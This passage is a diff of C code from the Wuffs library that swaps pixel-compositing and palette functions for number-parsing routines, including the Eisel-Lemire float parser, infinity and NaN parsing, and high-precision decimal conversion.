-+// -+// On success, it returns a non-negative int64_t such that the low 63 bits hold -+// the 11-bit exponent and 52-bit mantissa. -+// -+// On failure, it returns a negative value. -+// -+// The algorithm is based on an original idea by Michael Eisel that was refined -+// by Daniel Lemire. See -+// https://lemire.me/blog/2020/03/10/fast-float-parsing-in-practice/ -+// and -+// https://nigeltao.github.io/blog/2020/eisel-lemire.html -+// -+// Preconditions: -+// - man is non-zero. -+// - exp10 is in the range [-307 ..= 288], the same range of the -+// wuffs_private_impl__powers_of_10 array. -+// -+// The exp10 range (and the fact that man is in the range [1 ..= UINT64_MAX], -+// approximately [1 ..= 1.85e+19]) means that (man * (10 ** exp10)) is in the -+// range [1e-307 ..= 1.85e+307]. This is entirely within the range of normal -+// (neither subnormal nor non-finite) f64 values: DBL_MIN and DBL_MAX are -+// approximately 2.23e–308 and 1.80e+308. -+static int64_t // -+wuffs_private_impl__parse_number_f64_eisel_lemire(uint64_t man, int32_t exp10) { -+ // Look up the (possibly truncated) base-2 representation of (10 ** exp10). -+ // The look-up table was constructed so that it is already normalized: the -+ // table entry's mantissa's MSB (most significant bit) is on. -+ const uint64_t* po10 = &wuffs_private_impl__powers_of_10[exp10 + 307][0]; - -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxx(pb, rect, color); -- return wuffs_base__make_status(NULL); -+ // Normalize the man argument. The (man != 0) precondition means that a -+ // non-zero bit exists. -+ uint32_t clz = wuffs_base__count_leading_zeroes_u64(man); -+ man <<= clz; - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx( -- pb, rect, -- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( -- color)); -- return wuffs_base__make_status(NULL); -+ // Calculate the return value's base-2 exponent. We might tweak it by ±1 -+ // later, but its initial value comes from a linear scaling of exp10, -+ // converting from power-of-10 to power-of-2, and adjusting by clz. -+ // -+ // The magic constants are: -+ // - 1087 = 1023 + 64. The 1023 is the f64 exponent bias. The 64 is because -+ // the look-up table uses 64-bit mantissas. -+ // - 217706 is such that the ratio 217706 / 65536 ≈ 3.321930 is close enough -+ // (over the practical range of exp10) to log(10) / log(2) ≈ 3.321928. -+ // - 65536 = 1<<16 is arbitrary but a power of 2, so division is a shift. -+ // -+ // Equality of the linearly-scaled value and the actual power-of-2, over the -+ // range of exp10 arguments that this function accepts, is confirmed by -+ // script/print-mpb-powers-of-10.go -+ uint64_t ret_exp2 = -+ ((uint64_t)(((217706 * exp10) >> 16) + 1087)) - ((uint64_t)clz); - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxxxxxx( -- pb, rect, -- wuffs_base__color_u32_argb_premul__as__color_u64_argb_nonpremul( -- color)); -- return wuffs_base__make_status(NULL); -+ // Multiply the two mantissas. Normalization means that both mantissas are at -+ // least (1<<63), so the 128-bit product must be at least (1<<126). The high -+ // 64 bits of the product, x_hi, must therefore be at least (1<<62). -+ // -+ // As a consequence, x_hi has either 0 or 1 leading zeroes. Shifting x_hi -+ // right by either 9 or 10 bits (depending on x_hi's MSB) will therefore -+ // leave the top 10 MSBs (bits 54 ..= 63) off and the 11th MSB (bit 53) on. -+ wuffs_base__multiply_u64__output x = wuffs_base__multiply_u64(man, po10[1]); -+ uint64_t x_hi = x.hi; -+ uint64_t x_lo = x.lo; - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx( -- pb, rect, -- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( -- wuffs_base__swap_u32_argb_abgr(color))); -- return wuffs_base__make_status(NULL); -+ // Before we shift right by at least 9 bits, recall that the look-up table -+ // entry was possibly truncated. We have so far only calculated a lower bound -+ // for the product (man * e), where e is (10 ** exp10). The upper bound would -+ // add a further (man * 1) to the 128-bit product, which overflows the lower -+ // 64-bit limb if ((x_lo + man) < man). -+ // -+ // If overflow occurs, that adds 1 to x_hi. Since we're about to shift right -+ // by at least 9 bits, that carried 1 can be ignored unless the higher 64-bit -+ // limb's low 9 bits are all on. -+ // -+ // For example, parsing "9999999999999999999" will take the if-true branch -+ // here, since: -+ // - x_hi = 0x4563918244F3FFFF -+ // - x_lo = 0x8000000000000000 -+ // - man = 0x8AC7230489E7FFFF -+ if (((x_hi & 0x1FF) == 0x1FF) && ((x_lo + man) < man)) { -+ // Refine our calculation of (man * e). Before, our approximation of e used -+ // a "low resolution" 64-bit mantissa. Now use a "high resolution" 128-bit -+ // mantissa. We've already calculated x = (man * bits_0_to_63_incl_of_e). -+ // Now calculate y = (man * bits_64_to_127_incl_of_e). -+ wuffs_base__multiply_u64__output y = wuffs_base__multiply_u64(man, po10[0]); -+ uint64_t y_hi = y.hi; -+ uint64_t y_lo = y.lo; - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: -- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx( -- pb, rect, wuffs_base__swap_u32_argb_abgr(color)); -- return wuffs_base__make_status(NULL); -- } -+ // Merge the 128-bit x and 128-bit y, which overlap by 64 bits, to -+ // calculate the 192-bit product of the 64-bit man by the 128-bit e. -+ // As we exit this if-block, we only care about the high 128 bits -+ // (merged_hi and merged_lo) of that 192-bit product. -+ // -+ // For example, parsing "1.234e-45" will take the if-true branch here, -+ // since: -+ // - x_hi = 0x70B7E3696DB29FFF -+ // - x_lo = 0xE040000000000000 -+ // - y_hi = 0x33718BBEAB0E0D7A -+ // - y_lo = 0xA880000000000000 -+ uint64_t merged_hi = x_hi; -+ uint64_t merged_lo = x_lo + y_hi; -+ if (merged_lo < x_lo) { -+ merged_hi++; // Carry the overflow bit. -+ } - -- uint32_t y; -- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { -- uint32_t x; -- for (x = rect.min_incl_x; x < rect.max_excl_x; x++) { -- wuffs_base__pixel_buffer__set_color_u32_at(pb, x, y, color); -+ // The "high resolution" approximation of e is still a lower bound. Once -+ // again, see if the upper bound is large enough to produce a different -+ // result. This time, if it does, give up instead of reaching for an even -+ // more precise approximation to e. -+ // -+ // This three-part check is similar to the two-part check that guarded the -+ // if block that we're now in, but it has an extra term for the middle 64 -+ // bits (checking that adding 1 to merged_lo would overflow). -+ // -+ // For example, parsing "5.9604644775390625e-8" will take the if-true -+ // branch here, since: -+ // - merged_hi = 0x7FFFFFFFFFFFFFFF -+ // - merged_lo = 0xFFFFFFFFFFFFFFFF -+ // - y_lo = 0x4DB3FFC120988200 -+ // - man = 0xD3C21BCECCEDA100 -+ if (((merged_hi & 0x1FF) == 0x1FF) && ((merged_lo + 1) == 0) && -+ (y_lo + man < man)) { -+ return -1; - } -+ -+ // Replace the 128-bit x with merged. -+ x_hi = merged_hi; -+ x_lo = merged_lo; - } -- return wuffs_base__make_status(NULL); --} - --// -------- -+ // As mentioned above, shifting x_hi right by either 9 or 10 bits will leave -+ // the top 10 MSBs (bits 54 ..= 63) off and the 11th MSB (bit 53) on. If the -+ // MSB (before shifting) was on, adjust ret_exp2 for the larger shift. -+ // -+ // Having bit 53 on (and higher bits off) means that ret_mantissa is a 54-bit -+ // number. -+ uint64_t msb = x_hi >> 63; -+ uint64_t ret_mantissa = x_hi >> (msb + 9); -+ ret_exp2 -= 1 ^ msb; - --WUFFS_BASE__MAYBE_STATIC uint8_t // --wuffs_base__pixel_palette__closest_element( -- wuffs_base__slice_u8 palette_slice, -- wuffs_base__pixel_format palette_format, -- wuffs_base__color_u32_argb_premul c) { -- size_t n = palette_slice.len / 4; -- if (n > (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -- n = (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4); -+ // IEEE 754 rounds to-nearest with ties rounded to-even. Rounding to-even can -+ // be tricky. If we're half-way between two exactly representable numbers -+ // (x's low 73 bits are zero and the next 2 bits that matter are "01"), give -+ // up instead of trying to pick the winner. -+ // -+ // Technically, we could tighten the condition by changing "73" to "73 or 74, -+ // depending on msb", but a flat "73" is simpler. -+ // -+ // For example, parsing "1e+23" will take the if-true branch here, since: -+ // - x_hi = 0x54B40B1F852BDA00 -+ // - ret_mantissa = 0x002A5A058FC295ED -+ if ((x_lo == 0) && ((x_hi & 0x1FF) == 0) && ((ret_mantissa & 3) == 1)) { -+ return -1; - } -- size_t best_index = 0; -- uint64_t best_score = 0xFFFFFFFFFFFFFFFF; - -- // Work in 16-bit color. -- uint32_t ca = 0x101 * (0xFF & (c >> 24)); -- uint32_t cr = 0x101 * (0xFF & (c >> 16)); -- uint32_t cg = 0x101 * (0xFF & (c >> 8)); -- uint32_t cb = 0x101 * (0xFF & (c >> 0)); -- -- switch (palette_format.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: { -- bool nonpremul = palette_format.repr == -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL; -- -- size_t i; -- for (i = 0; i < n; i++) { -- // Work in 16-bit color. -- uint32_t pb = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 0])); -- uint32_t pg = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 1])); -- uint32_t pr = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 2])); -- uint32_t pa = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 3])); -- -- // Convert to premultiplied alpha. -- if (nonpremul && (pa != 0xFFFF)) { -- pb = (pb * pa) / 0xFFFF; -- pg = (pg * pa) / 0xFFFF; -- pr = (pr * pa) / 0xFFFF; -- } -- -- // These deltas are conceptually int32_t (signed) but after squaring, -- // it's equivalent to work in uint32_t (unsigned). -- pb -= cb; -- pg -= cg; -- pr -= cr; -- pa -= ca; -- uint64_t score = ((uint64_t)(pb * pb)) + ((uint64_t)(pg * pg)) + -- ((uint64_t)(pr * pr)) + ((uint64_t)(pa * pa)); -- if (best_score > score) { -- best_score = score; -- best_index = i; -- } -- } -- break; -- } -+ // If we're not halfway then it's rounding to-nearest. Starting with a 54-bit -+ // number, carry the lowest bit (bit 0) up if it's on. Regardless of whether -+ // it was on or off, shifting right by one then produces a 53-bit number. If -+ // carrying up overflowed, shift again. -+ ret_mantissa += ret_mantissa & 1; -+ ret_mantissa >>= 1; -+ // This if block is equivalent to (but benchmarks slightly faster than) the -+ // following branchless form: -+ // uint64_t overflow_adjustment = ret_mantissa >> 53; -+ // ret_mantissa >>= overflow_adjustment; -+ // ret_exp2 += overflow_adjustment; -+ // -+ // For example, parsing "7.2057594037927933e+16" will take the if-true -+ // branch here, since: -+ // - x_hi = 0x7FFFFFFFFFFFFE80 -+ // - ret_mantissa = 0x0020000000000000 -+ if ((ret_mantissa >> 53) > 0) { -+ ret_mantissa >>= 1; -+ ret_exp2++; - } - -- return (uint8_t)best_index; -+ // Starting with a 53-bit number, IEEE 754 double-precision normal numbers -+ // have an implicit mantissa bit. Mask that away and keep the low 52 bits. -+ ret_mantissa &= 0x000FFFFFFFFFFFFF; -+ -+ // Pack the bits and return. -+ return ((int64_t)(ret_mantissa | (ret_exp2 << 52))); - } - - // -------- - --static inline uint32_t // --wuffs_base__composite_nonpremul_nonpremul_u32_axxx(uint32_t dst_nonpremul, -- uint32_t src_nonpremul) { -- // Extract 16-bit color components. -- // -- // If the destination is transparent then SRC_OVER is equivalent to SRC: just -- // return src_nonpremul. This isn't just an optimization (skipping the rest -- // of the function's computation). It also preserves the nonpremul -- // distinction between e.g. transparent red and transparent blue that would -- // otherwise be lost by converting from nonpremul to premul and back. -- uint32_t da = 0x101 * (0xFF & (dst_nonpremul >> 24)); -- if (da == 0) { -- return src_nonpremul; -- } -- uint32_t dr = 0x101 * (0xFF & (dst_nonpremul >> 16)); -- uint32_t dg = 0x101 * (0xFF & (dst_nonpremul >> 8)); -- uint32_t db = 0x101 * (0xFF & (dst_nonpremul >> 0)); -- uint32_t sa = 0x101 * (0xFF & (src_nonpremul >> 24)); -- uint32_t sr = 0x101 * (0xFF & (src_nonpremul >> 16)); -- uint32_t sg = 0x101 * (0xFF & (src_nonpremul >> 8)); -- uint32_t sb = 0x101 * (0xFF & (src_nonpremul >> 0)); -- -- // Convert dst from nonpremul to premul. -- dr = (dr * da) / 0xFFFF; -- dg = (dg * da) / 0xFFFF; -- db = (db * da) / 0xFFFF; -+static wuffs_base__result_f64 // -+wuffs_private_impl__parse_number_f64_special(wuffs_base__slice_u8 s, -+ uint32_t options) { -+ do { -+ if (options & WUFFS_BASE__PARSE_NUMBER_FXX__REJECT_INF_AND_NAN) { -+ goto fail; -+ } - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -+ uint8_t* p = s.ptr; -+ uint8_t* q = s.ptr + s.len; - -- // Composite src (nonpremul) over dst (premul). -- da = sa + ((da * ia) / 0xFFFF); -- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -- db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ for (; (p < q) && (*p == '_'); p++) { -+ } -+ if (p >= q) { -+ goto fail; -+ } - -- // Convert dst from premul to nonpremul. -- if (da != 0) { -- dr = (dr * 0xFFFF) / da; -- dg = (dg * 0xFFFF) / da; -- db = (db * 0xFFFF) / da; -- } -+ // Parse sign. -+ bool negative = false; -+ do { -+ if (*p == '+') { -+ p++; -+ } else if (*p == '-') { -+ negative = true; -+ p++; -+ } else { -+ break; -+ } -+ for (; (p < q) && (*p == '_'); p++) { -+ } -+ } while (0); -+ if (p >= q) { -+ goto fail; -+ } - -- // Convert from 16-bit color to 8-bit color. -- da >>= 8; -- dr >>= 8; -- dg >>= 8; -- db >>= 8; -+ bool nan = false; -+ switch (p[0]) { -+ case 'I': -+ case 'i': -+ if (((q - p) < 3) || // -+ ((p[1] != 'N') && (p[1] != 'n')) || // -+ ((p[2] != 'F') && (p[2] != 'f'))) { -+ goto fail; -+ } -+ p += 3; - -- // Combine components. -- return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); --} -+ if ((p >= q) || (*p == '_')) { -+ break; -+ } else if (((q - p) < 5) || // -+ ((p[0] != 'I') && (p[0] != 'i')) || // -+ ((p[1] != 'N') && (p[1] != 'n')) || // -+ ((p[2] != 'I') && (p[2] != 'i')) || // -+ ((p[3] != 'T') && (p[3] != 't')) || // -+ ((p[4] != 'Y') && (p[4] != 'y'))) { -+ goto fail; -+ } -+ p += 5; - --static inline uint64_t // --wuffs_base__composite_nonpremul_nonpremul_u64_axxx(uint64_t dst_nonpremul, -- uint64_t src_nonpremul) { -- // Extract components. -- // -- // If the destination is transparent then SRC_OVER is equivalent to SRC: just -- // return src_nonpremul. This isn't just an optimization (skipping the rest -- // of the function's computation). It also preserves the nonpremul -- // distinction between e.g. transparent red and transparent blue that would -- // otherwise be lost by converting from nonpremul to premul and back. -- uint64_t da = 0xFFFF & (dst_nonpremul >> 48); -- if (da == 0) { -- return src_nonpremul; -- } -- uint64_t dr = 0xFFFF & (dst_nonpremul >> 32); -- uint64_t dg = 0xFFFF & (dst_nonpremul >> 16); -- uint64_t db = 0xFFFF & (dst_nonpremul >> 0); -- uint64_t sa = 0xFFFF & (src_nonpremul >> 48); -- uint64_t sr = 0xFFFF & (src_nonpremul >> 32); -- uint64_t sg = 0xFFFF & (src_nonpremul >> 16); -- uint64_t sb = 0xFFFF & (src_nonpremul >> 0); -+ if ((p >= q) || (*p == '_')) { -+ break; -+ } -+ goto fail; - -- // Convert dst from nonpremul to premul. -- dr = (dr * da) / 0xFFFF; -- dg = (dg * da) / 0xFFFF; -- db = (db * da) / 0xFFFF; -+ case 'N': -+ case 'n': -+ if (((q - p) < 3) || // -+ ((p[1] != 'A') && (p[1] != 'a')) || // -+ ((p[2] != 'N') && (p[2] != 'n'))) { -+ goto fail; -+ } -+ p += 3; - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint64_t ia = 0xFFFF - sa; -+ if ((p >= q) || (*p == '_')) { -+ nan = true; -+ break; -+ } -+ goto fail; - -- // Composite src (nonpremul) over dst (premul). -- da = sa + ((da * ia) / 0xFFFF); -- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -- db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ default: -+ goto fail; -+ } - -- // Convert dst from premul to nonpremul. -- if (da != 0) { -- dr = (dr * 0xFFFF) / da; -- dg = (dg * 0xFFFF) / da; -- db = (db * 0xFFFF) / da; -- } -+ // Finish. -+ for (; (p < q) && (*p == '_'); p++) { -+ } -+ if (p != q) { -+ goto fail; -+ } -+ wuffs_base__result_f64 ret; -+ ret.status.repr = NULL; -+ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( -+ (nan ? 0x7FFFFFFFFFFFFFFF : 0x7FF0000000000000) | -+ (negative ? 0x8000000000000000 : 0)); -+ return ret; -+ } while (0); - -- // Combine components. -- return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); -+fail: -+ do { -+ wuffs_base__result_f64 ret; -+ ret.status.repr = wuffs_base__error__bad_argument; -+ ret.value = 0; -+ return ret; -+ } while (0); - } - --static inline uint32_t // --wuffs_base__composite_nonpremul_premul_u32_axxx(uint32_t dst_nonpremul, -- uint32_t src_premul) { -- // Extract 16-bit color components. -- uint32_t da = 0x101 * (0xFF & (dst_nonpremul >> 24)); -- uint32_t dr = 0x101 * (0xFF & (dst_nonpremul >> 16)); -- uint32_t dg = 0x101 * (0xFF & (dst_nonpremul >> 8)); -- uint32_t db = 0x101 * (0xFF & (dst_nonpremul >> 0)); -- uint32_t sa = 0x101 * (0xFF & (src_premul >> 24)); -- uint32_t sr = 0x101 * (0xFF & (src_premul >> 16)); -- uint32_t sg = 0x101 * (0xFF & (src_premul >> 8)); -- uint32_t sb = 0x101 * (0xFF & (src_premul >> 0)); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__result_f64 // -+wuffs_private_impl__high_prec_dec__to_f64(wuffs_private_impl__high_prec_dec* h, -+ uint32_t options) { -+ do { -+ // powers converts decimal powers of 10 to binary powers of 2. For example, -+ // (10000 >> 13) is 1. It stops before the elements exceed 60, also known -+ // as WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL. -+ // -+ // This rounds down (1<<13 is a lower bound for 1e4). Adding 1 to the array -+ // element value rounds up (1<<14 is an upper bound for 1e4) while staying -+ // at or below WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL. -+ // -+ // When starting in the range [1e+1 .. 1e+2] (i.e. h->decimal_point == +2), -+ // powers[2] == 6 and so: -+ // - Right shifting by 6+0 produces the range [10/64 .. 100/64] = -+ // [0.156250 .. 1.56250]. The resultant h->decimal_point is +0 or +1. -+ // - Right shifting by 6+1 produces the range [10/128 .. 100/128] = -+ // [0.078125 .. 0.78125]. The resultant h->decimal_point is -1 or -0. -+ // -+ // When starting in the range [1e-3 .. 1e-2] (i.e. h->decimal_point == -2), -+ // powers[2] == 6 and so: -+ // - Left shifting by 6+0 produces the range [0.001*64 .. 0.01*64] = -+ // [0.064 .. 0.64]. The resultant h->decimal_point is -1 or -0. -+ // - Left shifting by 6+1 produces the range [0.001*128 .. 0.01*128] = -+ // [0.128 .. 1.28]. The resultant h->decimal_point is +0 or +1. -+ // -+ // Thus, when targeting h->decimal_point being +0 or +1, use (powers[n]+0) -+ // when right shifting but (powers[n]+1) when left shifting. -+ static const uint32_t num_powers = 19; -+ static const uint8_t powers[19] = { -+ 0, 3, 6, 9, 13, 16, 19, 23, 26, 29, // -+ 33, 36, 39, 43, 46, 49, 53, 56, 59, // -+ }; - -- // Convert dst from nonpremul to premul. -- dr = (dr * da) / 0xFFFF; -- dg = (dg * da) / 0xFFFF; -- db = (db * da) / 0xFFFF; -+ // Handle zero and obvious extremes. The largest and smallest positive -+ // finite f64 values are approximately 1.8e+308 and 4.9e-324. -+ if ((h->num_digits == 0) || (h->decimal_point < -326)) { -+ goto zero; -+ } else if (h->decimal_point > 310) { -+ goto infinity; -+ } - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -+ // Try the fast Eisel-Lemire algorithm again. Calculating the (man, exp10) -+ // pair from the high_prec_dec h is more correct but slower than the -+ // approach taken in wuffs_base__parse_number_f64. The latter is optimized -+ // for the common cases (e.g. assuming no underscores or a leading '+' -+ // sign) rather than the full set of cases allowed by the Wuffs API. -+ // -+ // When we have 19 or fewer mantissa digits, run Eisel-Lemire once (trying -+ // for an exact result). When we have more than 19 mantissa digits, run it -+ // twice to get a lower and upper bound. We still have an exact result -+ // (within f64's rounding margin) if both bounds are equal (and valid). -+ uint32_t i_max = h->num_digits; -+ if (i_max > 19) { -+ i_max = 19; -+ } -+ int32_t exp10 = h->decimal_point - ((int32_t)i_max); -+ if ((-307 <= exp10) && (exp10 <= 288)) { -+ uint64_t man = 0; -+ uint32_t i; -+ for (i = 0; i < i_max; i++) { -+ man = (10 * man) + h->digits[i]; -+ } -+ while (man != 0) { // The 'while' is just an 'if' that we can 'break'. -+ int64_t r0 = -+ wuffs_private_impl__parse_number_f64_eisel_lemire(man + 0, exp10); -+ if (r0 < 0) { -+ break; -+ } else if (h->num_digits > 19) { -+ int64_t r1 = -+ wuffs_private_impl__parse_number_f64_eisel_lemire(man + 1, exp10); -+ if (r1 != r0) { -+ break; -+ } -+ } -+ wuffs_base__result_f64 ret; -+ ret.status.repr = NULL; -+ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( -+ ((uint64_t)r0) | (((uint64_t)(h->negative)) << 63)); -+ return ret; -+ } -+ } - -- // Composite src (premul) over dst (premul). -- da = sa + ((da * ia) / 0xFFFF); -- dr = sr + ((dr * ia) / 0xFFFF); -- dg = sg + ((dg * ia) / 0xFFFF); -- db = sb + ((db * ia) / 0xFFFF); -+ // When Eisel-Lemire fails, fall back to Simple Decimal Conversion. See -+ // https://nigeltao.github.io/blog/2020/parse-number-f64-simple.html -+ // -+ // Scale by powers of 2 until we're in the range [0.1 .. 10]. Equivalently, -+ // that h->decimal_point is +0 or +1. -+ // -+ // First we shift right while at or above 10... -+ const int32_t f64_bias = -1023; -+ int32_t exp2 = 0; -+ while (h->decimal_point > 1) { -+ uint32_t n = (uint32_t)(+h->decimal_point); -+ uint32_t shift = (n < num_powers) -+ ? powers[n] -+ : WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; - -- // Convert dst from premul to nonpremul. -- if (da != 0) { -- dr = (dr * 0xFFFF) / da; -- dg = (dg * 0xFFFF) / da; -- db = (db * 0xFFFF) / da; -- } -+ wuffs_private_impl__high_prec_dec__small_rshift(h, shift); -+ if (h->decimal_point < -WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { -+ goto zero; -+ } -+ exp2 += (int32_t)shift; -+ } -+ // ...then we shift left while below 0.1. -+ while (h->decimal_point < 0) { -+ uint32_t shift; -+ uint32_t n = (uint32_t)(-h->decimal_point); -+ shift = (n < num_powers) -+ // The +1 is per "when targeting h->decimal_point being +0 or -+ // +1... when left shifting" in the powers comment above. -+ ? (powers[n] + 1u) -+ : WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; - -- // Convert from 16-bit color to 8-bit color. -- da >>= 8; -- dr >>= 8; -- dg >>= 8; -- db >>= 8; -+ wuffs_private_impl__high_prec_dec__small_lshift(h, shift); -+ if (h->decimal_point > +WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { -+ goto infinity; -+ } -+ exp2 -= (int32_t)shift; -+ } - -- // Combine components. -- return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); --} -+ // To get from "in the range [0.1 .. 10]" to "in the range [1 .. 2]" (which -+ // will give us our exponent in base-2), the mantissa's first 3 digits will -+ // determine the final left shift, equal to 52 (the number of explicit f64 -+ // bits) plus an additional adjustment. -+ int man3 = (100 * h->digits[0]) + -+ ((h->num_digits > 1) ? (10 * h->digits[1]) : 0) + -+ ((h->num_digits > 2) ? h->digits[2] : 0); -+ int32_t additional_lshift = 0; -+ if (h->decimal_point == 0) { // The value is in [0.1 .. 1]. -+ if (man3 < 125) { -+ additional_lshift = +4; -+ } else if (man3 < 250) { -+ additional_lshift = +3; -+ } else if (man3 < 500) { -+ additional_lshift = +2; -+ } else { -+ additional_lshift = +1; -+ } -+ } else { // The value is in [1 .. 10]. -+ if (man3 < 200) { -+ additional_lshift = -0; -+ } else if (man3 < 400) { -+ additional_lshift = -1; -+ } else if (man3 < 800) { -+ additional_lshift = -2; -+ } else { -+ additional_lshift = -3; -+ } -+ } -+ exp2 -= additional_lshift; -+ uint32_t final_lshift = (uint32_t)(52 + additional_lshift); - --static inline uint64_t // --wuffs_base__composite_nonpremul_premul_u64_axxx(uint64_t dst_nonpremul, -- uint64_t src_premul) { -- // Extract components. -- uint64_t da = 0xFFFF & (dst_nonpremul >> 48); -- uint64_t dr = 0xFFFF & (dst_nonpremul >> 32); -- uint64_t dg = 0xFFFF & (dst_nonpremul >> 16); -- uint64_t db = 0xFFFF & (dst_nonpremul >> 0); -- uint64_t sa = 0xFFFF & (src_premul >> 48); -- uint64_t sr = 0xFFFF & (src_premul >> 32); -- uint64_t sg = 0xFFFF & (src_premul >> 16); -- uint64_t sb = 0xFFFF & (src_premul >> 0); -+ // The minimum normal exponent is (f64_bias + 1). -+ while ((f64_bias + 1) > exp2) { -+ uint32_t n = (uint32_t)((f64_bias + 1) - exp2); -+ if (n > WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL) { -+ n = WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; -+ } -+ wuffs_private_impl__high_prec_dec__small_rshift(h, n); -+ exp2 += (int32_t)n; -+ } - -- // Convert dst from nonpremul to premul. -- dr = (dr * da) / 0xFFFF; -- dg = (dg * da) / 0xFFFF; -- db = (db * da) / 0xFFFF; -+ // Check for overflow. -+ if ((exp2 - f64_bias) >= 0x07FF) { // (1 << 11) - 1. -+ goto infinity; -+ } - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint64_t ia = 0xFFFF - sa; -+ // Extract 53 bits for the mantissa (in base-2). -+ wuffs_private_impl__high_prec_dec__small_lshift(h, final_lshift); -+ uint64_t man2 = wuffs_private_impl__high_prec_dec__rounded_integer(h); - -- // Composite src (premul) over dst (premul). -- da = sa + ((da * ia) / 0xFFFF); -- dr = sr + ((dr * ia) / 0xFFFF); -- dg = sg + ((dg * ia) / 0xFFFF); -- db = sb + ((db * ia) / 0xFFFF); -+ // Rounding might have added one bit. If so, shift and re-check overflow. -+ if ((man2 >> 53) != 0) { -+ man2 >>= 1; -+ exp2++; -+ if ((exp2 - f64_bias) >= 0x07FF) { // (1 << 11) - 1. -+ goto infinity; -+ } -+ } - -- // Convert dst from premul to nonpremul. -- if (da != 0) { -- dr = (dr * 0xFFFF) / da; -- dg = (dg * 0xFFFF) / da; -- db = (db * 0xFFFF) / da; -- } -+ // Handle subnormal numbers. -+ if ((man2 >> 52) == 0) { -+ exp2 = f64_bias; -+ } - -- // Combine components. -- return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); --} -+ // Pack the bits and return. -+ uint64_t exp2_bits = -+ (uint64_t)((exp2 - f64_bias) & 0x07FF); // (1 << 11) - 1. -+ uint64_t bits = (man2 & 0x000FFFFFFFFFFFFF) | // (1 << 52) - 1. -+ (exp2_bits << 52) | // -+ (h->negative ? 0x8000000000000000 : 0); // (1 << 63). - --static inline uint32_t // --wuffs_base__composite_premul_nonpremul_u32_axxx(uint32_t dst_premul, -- uint32_t src_nonpremul) { -- // Extract 16-bit color components. -- uint32_t da = 0x101 * (0xFF & (dst_premul >> 24)); -- uint32_t dr = 0x101 * (0xFF & (dst_premul >> 16)); -- uint32_t dg = 0x101 * (0xFF & (dst_premul >> 8)); -- uint32_t db = 0x101 * (0xFF & (dst_premul >> 0)); -- uint32_t sa = 0x101 * (0xFF & (src_nonpremul >> 24)); -- uint32_t sr = 0x101 * (0xFF & (src_nonpremul >> 16)); -- uint32_t sg = 0x101 * (0xFF & (src_nonpremul >> 8)); -- uint32_t sb = 0x101 * (0xFF & (src_nonpremul >> 0)); -+ wuffs_base__result_f64 ret; -+ ret.status.repr = NULL; -+ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); -+ return ret; -+ } while (0); - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -+zero: -+ do { -+ uint64_t bits = h->negative ? 0x8000000000000000 : 0; - -- // Composite src (nonpremul) over dst (premul). -- da = sa + ((da * ia) / 0xFFFF); -- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -- db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ wuffs_base__result_f64 ret; -+ ret.status.repr = NULL; -+ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); -+ return ret; -+ } while (0); - -- // Convert from 16-bit color to 8-bit color. -- da >>= 8; -- dr >>= 8; -- dg >>= 8; -- db >>= 8; -+infinity: -+ do { -+ if (options & WUFFS_BASE__PARSE_NUMBER_FXX__REJECT_INF_AND_NAN) { -+ 